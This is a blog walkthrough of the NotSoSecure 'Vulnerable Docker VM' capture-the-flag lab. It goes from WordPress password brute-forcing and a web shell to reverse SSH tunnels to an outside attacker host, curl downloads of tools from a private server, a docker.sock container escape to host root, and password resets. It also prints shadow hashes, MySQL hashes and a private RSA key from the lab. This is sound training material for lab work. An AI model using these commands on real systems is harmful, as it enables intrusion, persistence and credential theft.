Vulnerable Docker VM


In the information security world, there are so called CTF (Capture The Flag) challenges. This is mind sport, where you should hack or somehow extract the information from computer systems, in most cases connected with the internet or other network. Strangely, but I never participated in this kind of stuff. Several days ago the company named NotSoSecure posted the CTF challenge called Vulnerable Docker VM. Docker becomes widespread these days, so I decided to try out both Docker and that CTF thing. The quest itself was not competitive — there are no winners or losers, no time limit, so there was no pressure, what is good for beginners like me. VirtualBox image with some Docker infrastructure is provided for you. The goal is to gain control over host system and to find 3 flags. I managed to find only 2 flags and escape from Docker. Below you will find the solution, so if you want to try the challenge yourself, then stop here.

After importing the OVA image and starting the VM, I see Docker ASCII logo and the IP address:

For convenience, let’s add it to /etc/hosts

192.168.2.16	ctf

First step is obvious, let’s scan the IP address for listening network services:

$ sudo nmap ctf
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Maybe, we can bruteforce SSH password? I used brutessh.py with 10 million password list:

python2 brutessh.py -h ctf -u root -d 10_million_password_list_top_1000000.txt

No luck here.

Let’s go ahead and open http://ctf:8000 in web browser. We’ve got WordPress:

From HTTP headers and HTML we can figure out software versions:

Apache/2.4.10
PHP/5.6.31 (latest version, at the moment of writing this article)
Wordpress 4.8.1 (latest version)

Clicking here and there, I noticed some details:

Home leads to http://192.168.0.2:8000
User is BOB.

I was hoping to reset BOB’s password by requesting secret link and sniffing it out of the traffic using tcpdump.

Unfortunately, they disabled mail() function:

The email could not be sent.
Possible reason: your host may have disabled the mail() function.

WordPress is famous for its extensibility. Maybe, there are some vulnerable plugins installed? I’ve googled «wordpress vulnerability scanner» and found wpscan.

Making use of it:

$ docker pull wpscanteam/wpscan
$ docker run -it --rm wpscanteam/wpscan -u http://ctf:8000 --enumerate
...
[!] Full Path Disclosure (FPD) in 'http://ctf:8000/wp-includes/rss-functions.php'
...
[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
[i] Fixed in: 3.1.5

From here we understand that WordPress is installed under /var/www/html:

Fatal error: Call to undefined function _deprecated_file() in /var/www/html/wp-includes/rss-functions.php on line 8

Also, there is Akismet plugin with minor XSS vulnerability. Let’s skip it for now and better try to bruteforce BOB’s password:

$ docker run -it --rm -v ~/notsosecure:/notsosecure wpscanteam/wpscan -u http://ctf:8000 --wordlist /notsosecure/10_million_password_list_top_1000000.txt --username bob

  [+] [SUCCESS] Login : bob Password : Welcome1

  Brute Forcing 'bob' Time: 00:02:03 <     > (7965 / 1000000)  0.79%  ETA: 04:17:02
  +----+-------+------+----------+
  | Id | Login | Name | Password |
  +----+-------+------+----------+
  |    | bob   |      | Welcome1 |
  +----+-------+------+----------+

Voilà! We’ve got access to WordPress admin panel.

Just by clicking here and there, I found the first flag:

It is time to install some shell. WPTerm is very nice:

Apparently, there is the exploit for Linux 3.13. That’s encouraging, especially if you have gcc on the system, but let’s keep easy track for now.

Database credentials:

www-data:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'WordPressISBest');
define('DB_HOST', 'db:3306');

Trying to reset password for www-data user, no luck:

www-data:/var/www/html $ echo 123 | passwd www-data
(current) UNIX password: passwd: Authentication token manipulation error
passwd: password unchanged
Changing password for www-data.
www-data:/var/www/html $ echo "www-data:123" | chpasswd
chpasswd: (user www-data) pam_chauthtok() failed, error:
Authentication token manipulation error
chpasswd: (line 1, user www-data) password not changed
Changing password for www-data.

Let’s explore local network:

www-data:/var/www/html $ ip r
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0  proto kernel  scope link  src 172.18.0.4
www-data:/var/www/html $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
9: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:12:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.4/16 scope global eth0
       valid_lft forever preferred_lft forever
www-data:/var/www/html $ cat /etc/resolv.conf
nameserver 127.0.0.11
options ndots:0
www-data:/var/www/html $ ss -ntp
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
ESTAB      0      0                172.18.0.4:80            192.168.2.12:50078
ESTAB      0      0                172.18.0.4:54418           172.18.0.3:3306   users:(("ss",pid=169,fd=14))

Seems like MySQL server is running on 172.18.0.3.

Just ping first IP addresses in this subnet for other hosts:

ping -c1 172.18.0.1
...

Docker infrastructure looks like this:

127.0.0.11 = DNS
172.18.0.1 = default gateway
172.18.0.2 = ?
172.18.0.3 = database
172.18.0.4 = wordpress  <- we are here

Request SSH banner from default gateway:

www-data:/var/www/html $ curl -s 172.18.0.1:22
SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1

Host machine is giving us the same SSH banner:

$ curl -s ctf:22
SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1

With high probability, 172.18.0.1 is the IP address of host machine from Docker network side.

Also, this port forwarding is obvious:
ctf:8000 → 172.18.0.4:80

Noticing two more interesting banners:

$ curl -s 172.18.0.2:22
SSH-2.0-ssh2js0.0.23srv

$ curl -s 172.18.0.3:3306
5.7.19...

Let's download adminer - similar to phpMyAdmin, but packaged just in one single file:

$ curl -L -o adminer.php https://github.com/vrana/adminer/releases/download/v4.3.1/adminer-4.3.1-en.php

Logging in with password, which was revealed earlier:

Unfortunately, I did not found anything interesting in the database.

For more thorough network scan, we need more powerful tool - nmap. Although we don't have access to package manager, but we could still download and run it. To make use of it, I downloaded RPM package, extracted nmap binary and uploaded it to my own host on the internet. Downloading it like this:

$ mkdir ctf ; cd ctf
$ curl -o nmap http://my-secret-host.com/nmap
$ chmod +x nmap

It's fun time:

$ ./nmap -p- 127.0.0.11
53/tcp    open  domain
80/tcp    open  http

$ ./nmap -p- 172.18.0.1
22/tcp   open  ssh
2375/tcp open  unknown  (!!!)
8000/tcp open  unknown

$ ./nmap -p- 172.18.0.2
22/tcp   open  ssh
8022/tcp open  unknown  (!!!)

$ ./nmap -p- 172.18.0.3
3306/tcp open  mysql

$ ./nmap -p- 172.18.0.4
80/tcp    open  http

2375 and 8022 opportunities seems huge to me!

What's on the port 8022?

$ curl -s 172.18.0.2:8022
...
  <title>Docker-SSH</title>
...

Google tells me about Docker-SSH - some tool for accessing console of Docker containers. It would be great to connect to this SSH. Small problem - it is located inside of the private network. Fortunately, we can bypass this by establishing reverse SSH tunnel from the host, to which we already have access.

To create reverse SSH tunnel, we need SSH client. Let's download it following the same procedure as for nmap:

$ curl -o ssh-keygen http://my-secret-host.com/ssh-keygen
$ curl -o ssh http://my-secret-host.com/ssh
$ chmod +x ssh*

We need to generate keypair:

$ yes | ./ssh-keygen -P '' -f /var/www/html/ctf/id_rsa -t rsa

Now we've got id_rsa (private key) and id_rsa.pub (public). Let's grant access to that new public key by adding it to ~/.ssh/authorized_keys on attacker machine (our own).

Now, creating reverse SSH tunnel is straightforward:

$ ./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 8022:172.18.0.2:8022 -fN oioki@192.168.2.12

(here 192.168.2.12 is our own host)

Now we can connect to Docker-SSH just by opening localhost:8022 in our browser:

Seems like, 172.18.0.2:8022 gives web access to console of 172.18.0.3 container (database server).

Let's install usual SSH server for more convenient access:

$ apt-get update
$ apt-get install vim openssh-client openssh-server

Remove unneeded restrictions and change password for root:

$ vim /etc/ssh/sshd_config
...
PermitRootLogin yes
UsePrivilegeSeparation no
$ passwd
(type 123, for example)
$ /usr/sbin/sshd

Now SSH server is working, but again, it is in the private network. Applying the same solution, reverse SSH tunnel:

$ ssh -R 2222:127.0.0.1:22 -fN oioki@192.168.2.12

(here we should enter password for our attacker host)
At last, we've got "normal" SSH access to this host:

Stalkering the server, I've found interesting file /var/run/docker.sock. Seems like, unix socket of the host docker process appeared inside the container somehow. This is huge vulnerability.

To exploit it, let's use some client capable of working with unix sockets, for example curl or netcat:

$ apt-get install netcat-openbsd

root@13f0a3bb2706:~# echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
HTTP/1.0 200 OK
Api-Version: 1.30
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/17.06.0-ce (linux)
Date: Mon, 11 Sep 2017 21:25:15 GMT
Content-Length: 1018

[{"Containers":-1,"Created":1501805621,"Id":"sha256:c4260b289fc788fd3f66a2a1bb0e7697b62511861626a39c7d0676b8909afc20","Labels":{},"ParentId":"","RepoDigests":["wordpress@sha256:632c5f09a3de6fa711b208126bcef405e844a13f7cb38a83b0045043f4b1266f"],"RepoTags":["wordpress:latest"],"SharedSize":-1,"Size":405873668,"VirtualSize":405873668},{"Containers":-1,"Created":1501052770,"Id":"sha256:c73c7527c03a13729a6bba88a3251c95629e8036c0ccf17dadefb4c5f077a315","Labels":{},"ParentId":"","RepoDigests":["mysql@sha256:96edf37370df96d2a4ee1715cc5c7820a0ec6286551a927981ed50f0273d9b43"],"RepoTags":["mysql:5.7"],"SharedSize":-1,"Size":412365478,"VirtualSize":412365478},{"Containers":-1,"Created":1492156751,"Id":"sha256:7d3ecb48134e41ac56003879ae8b0faa7e8931b927a3af28af82504434b9c9c4","Labels":{},"ParentId":"","RepoDigests":["jeroenpeeters/docker-ssh@sha256:a1c8cefef3e2a7242970ef841acfcb9ead47355bc87a9c5c25627659e1c0b2b9"],"RepoTags":["jeroenpeeters/docker-ssh:latest"],"SharedSize":-1,"Size":43209635,"VirtualSize":43209635}]

If you were starting Easy mode, then you could achieve the same results by requesting REST API, which is also available from inside of the container:

root@13f0a3bb2706:~# curl 172.18.0.1:2375/images/json
[{"Containers":-1,"Created":1501805621,"Id":"sha256:c4260b289fc788fd3f66a2a1bb0e7697b62511861626a39c7d0676b8909afc20","Labels":{},"ParentId":"","RepoDigests":["wordpress@sha256:632c5f09a3de6fa711b208126bcef405e844a13f7cb38a83b0045043f4b1266f"],"RepoTags":["wordpress:latest"],"SharedSize":-1,"Size":405873668,"VirtualSize":405873668},{"Containers":-1,"Created":1501052770,"Id":"sha256:c73c7527c03a13729a6bba88a3251c95629e8036c0ccf17dadefb4c5f077a315","Labels":{},"ParentId":"","RepoDigests":["mysql@sha256:96edf37370df96d2a4ee1715cc5c7820a0ec6286551a927981ed50f0273d9b43"],"RepoTags":["mysql:5.7"],"SharedSize":-1,"Size":412365478,"VirtualSize":412365478},{"Containers":-1,"Created":1492156751,"Id":"sha256:7d3ecb48134e41ac56003879ae8b0faa7e8931b927a3af28af82504434b9c9c4","Labels":{},"ParentId":"","RepoDigests":["jeroenpeeters/docker-ssh@sha256:a1c8cefef3e2a7242970ef841acfcb9ead47355bc87a9c5c25627659e1c0b2b9"],"RepoTags":["jeroenpeeters/docker-ssh:latest"],"SharedSize":-1,"Size":43209635,"VirtualSize":43209635}]

To make working with Docker more convenient, let's install docker client following official manual.

Look, we can do this from inside of the docker container:

root@13f0a3bb2706:~# docker images
REPOSITORY                 TAG                 IMAGE ID            CREATED             SIZE
wordpress                  latest              c4260b289fc7        5 weeks ago         406MB
mysql                      5.7                 c73c7527c03a        6 weeks ago         412MB
jeroenpeeters/docker-ssh   latest              7d3ecb48134e        5 months ago        43.2MB

root@13f0a3bb2706:~# docker ps
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                  NAMES
8f4bca8ef241        wordpress:latest           "docker-entrypoint..."   2 weeks ago         Up 4 hours          0.0.0.0:8000->80/tcp   content_wordpress_1
13f0a3bb2706        mysql:5.7                  "docker-entrypoint..."   2 weeks ago         Up 4 hours          3306/tcp               content_db_1
b90babce1037        jeroenpeeters/docker-ssh   "npm start"              3 weeks ago         Up 4 hours          22/tcp, 8022/tcp       content_ssh_1

root@13f0a3bb2706:~# docker exec -it 8f4bca8ef241 hostname         
8f4bca8ef241

root@13f0a3bb2706:~# docker exec -it b90babce1037 hostname
b90babce1037

Indeed, we have 3 docker containers: wordpress, database and ssh proxy.

To gain access to docker host filesystem, we could use this exploit:

root@13f0a3bb2706:~# docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
#

The flag could be found instantly:

# ls / 
bin  boot  dev	etc  flag_3  home  initrd.img  lib  lib64  lost+found  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var	vmlinuz
# cat /flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6

Awesome so you reached host

Well done

Now the bigger challenge try to understand and fix the bugs.

If you want more attack targets look at the shadow file and try cracking passwords :P

Thanks for playing the challenges we hope you enjoyed all levels

You can send your suggestions bricks bats criticism or appreciations 
on vulndocker@notsosecure.com 

We can do little more. Let's have a look, who has passwords, and change them:

# vipw -s
root:$6$i8GUrrmW$GE/x1EEwKgMvvTS0IuOfd4jkrP9ufQrYxBdvAXh72ETmC.PZv.0gzb9Fxfs2y5CxmKiJlRUJVr5p0k3TxgPEG0:17394:0:99999:7:::
...
whale:$6$RvS0tNRs$gV2mxTeBwobOo9h1LZ59aGb1Gy7E83.2Lb5IsmPupTKxLqfoLAMLAKPMskQ1s52puOQoXzuLhrhM.j7TkTAxp1:17394:0:99999:7:::

# passwd
(type 123, for example)
# passwd whale
(type 123)

Now we can login to VirtualBox SSH and have true root access:

oioki@mars ~/notsosecure $ ssh whale@ctf
whale@ctf's password: (123)
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-128-generic x86_64)
...
whale@vulndocker:~$ su
Password: (123)
root@vulndocker:/home/whale# ip a
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0:  mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:d9:c7:82 brd ff:ff:ff:ff:ff:ff
    inet 192.168.2.16/24 brd 192.168.2.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fed9:c782/64 scope link 
       valid_lft forever preferred_lft forever
3: br-19017deceb88:  mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:b0:f9:51:31 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 scope global br-19017deceb88
       valid_lft forever preferred_lft forever
    inet6 fe80::42:b0ff:fef9:5131/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0:  mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:f7:dd:db:1f brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:f7ff:fedd:db1f/64 scope link 
       valid_lft forever preferred_lft forever
6: veth6dbe194:  mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether b2:c2:7d:87:d3:25 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::b0c2:7dff:fe87:d325/64 scope link 
       valid_lft forever preferred_lft forever
8: veth13f2925:  mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether a6:6a:d0:ef:af:f4 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::a46a:d0ff:feef:aff4/64 scope link 
       valid_lft forever preferred_lft forever
10: veth4c53066:  mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether 3e:77:67:71:64:cc brd ff:ff:ff:ff:ff:ff
    inet6 fe80::3c77:67ff:fe71:64cc/64 scope link 
       valid_lft forever preferred_lft forever

If you are interested, how Docker environment were made, you can have a look at /home/vulndock/content/docker-compose.yml.

At this point, this is so far I was able to reach. I did not managed to find second flag, but here are some other interesting things I've found:

1. Crack MySQL root password

In the MySQL container, we have direct access to raw MySQL data. Therefore, we could look up password hashes:

$ apt-get install binutils
$ strings /var/lib/mysql/mysql/user.MYD
	localhost
root
mysql_native_password)
*E83AAF14C281BCB6E65977C59B585815ED29792B
root
mysql_native_password)
	localhost	mysql.sys
mysql_native_password)
*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
*E83AAF14C281BCB6E65977C59B585815ED29792B
%	wordpress
mysql_native_password)
*A2C249A619E6B32CE95478C25AACB8E8C14560B8

Password for root database user can be googled very easily: Peaches123

2. John the Ripper

They were teasing me like "try cracking passwords". Here are contents of shadow file with password hashes:

root:$6$i8GUrrmW$GE/x1EEwKgMvvTS0IuOfd4jkrP9ufQrYxBdvAXh72ETmC.PZv.0gzb9Fxfs2y5CxmKiJlRUJVr5p0k3TxgPEG0:17394:0:99999:7:::
whale:$6$RvS0tNRs$gV2mxTeBwobOo9h1LZ59aGb1Gy7E83.2Lb5IsmPupTKxLqfoLAMLAKPMskQ1s52puOQoXzuLhrhM.j7TkTAxp1:17394:0:99999:7:::

Looks like that's not so trivial:

3. MySQL SSL

There are bunch of *.pem files in /var/lib/mysql of MySQL container:

/ $ docker exec -ti 13f0a3bb2706 ls -la /var/lib/mysql
total 188488
drwxr-xr-x  6 mysql mysql     4096 Sep 12 21:05 .
drwxr-xr-x 32 root  root      4096 Sep 12 21:20 ..
-rw-r-----  1 mysql mysql       56 Aug 16 17:39 auto.cnf
-rw-------  1 mysql mysql     1679 Aug 16 17:39 ca-key.pem
-rw-r--r--  1 mysql mysql     1074 Aug 16 17:39 ca.pem
-rw-r--r--  1 mysql mysql     1078 Aug 16 17:39 client-cert.pem
-rw-------  1 mysql mysql     1675 Aug 16 17:39 client-key.pem
-rw-r-----  1 mysql mysql      667 Aug 22 14:19 ib_buffer_pool
-rw-r-----  1 mysql mysql 50331648 Sep 12 21:50 ib_logfile0
-rw-r-----  1 mysql mysql 50331648 Aug 16 17:39 ib_logfile1
-rw-r-----  1 mysql mysql 79691776 Sep 12 21:50 ibdata1
-rw-r-----  1 mysql mysql 12582912 Sep 12 21:50 ibtmp1
drwxr-x---  2 mysql mysql     4096 Aug 16 17:39 mysql
drwxr-x---  2 mysql mysql     4096 Aug 16 17:39 performance_schema
-rw-------  1 mysql mysql     1675 Aug 16 17:39 private_key.pem
-rw-r--r--  1 mysql mysql      451 Aug 16 17:39 public_key.pem
-rw-r--r--  1 mysql mysql     1078 Aug 16 17:39 server-cert.pem
-rw-------  1 mysql mysql     1679 Aug 16 17:39 server-key.pem
drwxr-x---  2 mysql mysql    12288 Aug 16 17:39 sys
drwxr-x---  2 mysql mysql     4096 Aug 19 04:35 wordpress

Unfortunately, I could not figure out what are they for. Maybe they are just a part of distribution? Silly attempt - setup OpenSSL server and client:

$ sudo openssl s_server -accept 443 -cert server-cert.pem -key server-key.pem -CAfile ca.pem -no_ecdhe
$ openssl s_client -connect localhost:443 -cert client-cert.pem -key client-key.pem

4. Mysterious private key

It is located at SSH proxy container. What is its purpose?

/ $ docker exec b90babce1037 cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwvgvBtMwnnHfKwWq/V+m0ioC+jnEv6vkYRtgsdJGsdssCXxX
dw0Qxq7KDPxWIO9uPHr0FHFshHIf5huxNbv3xWyn2kWFX+nsflGGa5+j5z9qXI/c
1li2BhpE+trBatL/cbOb7n+gpViexJOxh/HLRNkMi1lOX1G2ZYItEjVTub/V+t+Y
GJU6xW47Z20iT9lv4t1mu/TNONLZY/Si2n8Qpo5iTcJOzAgzX3zQhyktkTAb2SaM
ExLkLW34QcWrpXSU23cNJraw81oPl9cNOiKb36w8B7HJdd1v3hSxe+iD5u4rZ9Hq
idnrRuYfCxwQCtDhg4IvMfF1pEI97yWUv08xzQIDAQABAoIBAHGQF+w0xQP1NdUc
Vw2AUm3l1JglX+l42OyLAtZwsYbVL6BS0atha90eYEgSDqTecWo+/76MlnXK97OT
e7PdyaMv99EWX2qPmZW2LMKxWMnQUUaa8TnUsCl70aQAGVr8jZeP04qmwk6tAMVl
danGd+yhNEJSgWjZ8pDLsy8A6sSs54YCPzbEnZVogcU8oyY7+aF4UJOMYJLtbUix
a7mQAc8HYA+grnuTr/ogIHqNazlnKYYxFchcLa3I2W44fSKyWqk2r1odvQeEys/W
MHu4yf+MpXVO+AJ9HFOmp8yGhGVWowxIhB/Sie7Rn35zhKIHhIdL7nL8yztXwzds
zygyZaECgYEA+2SIMEVRX+gpd2QOj+Z/6weFXzBMXthTIHexHsaFX0ZgSLSgwADI
j7N452qRbhpVcKI3Hst0VY5NdNgIeQroNutyrp2KOggxpprYYTWdqeMr67eHvNOV
+KxomoZJXmNub1l7G4ZL+gw4cpc274x8LX6y4hIIj7XNZVosU+34vskCgYEAxort
x5kVDlJafjBTZ0AlMMbc9+aP8hLMsis5fLioRpj7Nj9ctOrmt3aov2aM9zVUt6p0
PtsO0FSMnhxC90/dEXtYVc/wJaEx9SqCsmqDhoCEcCQ/m6ZNWSh27rT774I7M0En
3lJ2kowP/iYDui2nJ07nm0z3w7wt47aQvPcESOUCgYEArSEJIaU7a39pv01rMfMe
OXCOi4Wpss/sP7nugzFY/Mps2OV8p35ioYSKSWV9DoSYPt+Ycl7PmXRNJ6D4BNRc
JCZ2bocUgO7PstuFFT1lfXBz+PwGQSa+a+ngiDrfIF/92DWZsNUGUghEf7ZgIQ1x
H6vX6hVdTAt6jshRKuQCoPECgYARH2IqWJVsSsXrJBfNS8bpUf00k/nOErj8lKW8
j+BTVlYz83r3T1reb6lV+G4n072eqWClGxdH+EK4UA+mbIjQPSb9H5XCaQh58FSd
NnppWyQQ1890iP8atVasd4dSvJSGcxQRJGN9d/7ZGEYyBEXqKe/ngNfNValPfis1
YMhJ0QKBgE9z0dnD3nHLQZ+3uF8BlOmlIETum4UNjenSEMQDu7S2zkK5p5cXS+m1
6lJr2MfmTzQq9vRq3bX2NdPx5j3L6wW9axkM8dE4DqMWj6TR2SQZB/cm6nI/XKbE
OeTtnGCO90jr//IVsdbx/J3s5pDjToZ5gJvZ/SQrNJXASpbs0hPI
-----END RSA PRIVATE KEY-----

5. Host SSH allow for containement

It is allowed passwordless SSH access to docker host for some key. Maybe it is just leftover from NotSoSecure team?

root@e330142972c4:~# cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpT+U/LoYIzigCo5HFQR1vzSCXwQciu/pGPDpfj46v4aP6GYwel2jGn0waWViSzVk99CXVXneO0akbwLIyrrXluAcvng6f5vjRWPM46DGibV06ypAI6Y0neRC+oSF2b4D1mizcSlbGqJYNr00YcKETDNr8QFQt0eFS8KmwovtP5pkg3GiotOIbWEFOeQ8V6N/ShNl5wuRuMosESlP+RpzgawSE7KcoTzAJ6LqmUR4wWeW1XfLMaGD6Z4QIkofNyghlQ/SsNDYweSuztM2kqdtVDsEPNCiLgVCQsAWaBiL6sTSWf2ywJtiRocOg6BHy8IymljltOjyQf8g+ky2CLaGx containement@vulndocker.notsosecure.com

6. Steganography?

Exploring the host system, I've found interesting file /boot/grub/nss.jpg. It is used as a grub boot menu background. That's what different tools tell about the file:

$ file nss.jpg 
nss.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, orientation=upper-left, xresolution=122, yresolution=130, resolutionunit=2, software=Pixelmator 3.6, datetime=2017:08:19 17:08:59], baseline, precision 8, 640x427, frames 3

$ binwalk nss.jpg 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
461           0x1CD           Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://
5132          0x140C          Copyright string: "Copyright 2007 Apple Inc., all rights reserved."

I had no ideas how to extract hidden information from this file (if any), so I've stopped there.

Maybe you can crack it?

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *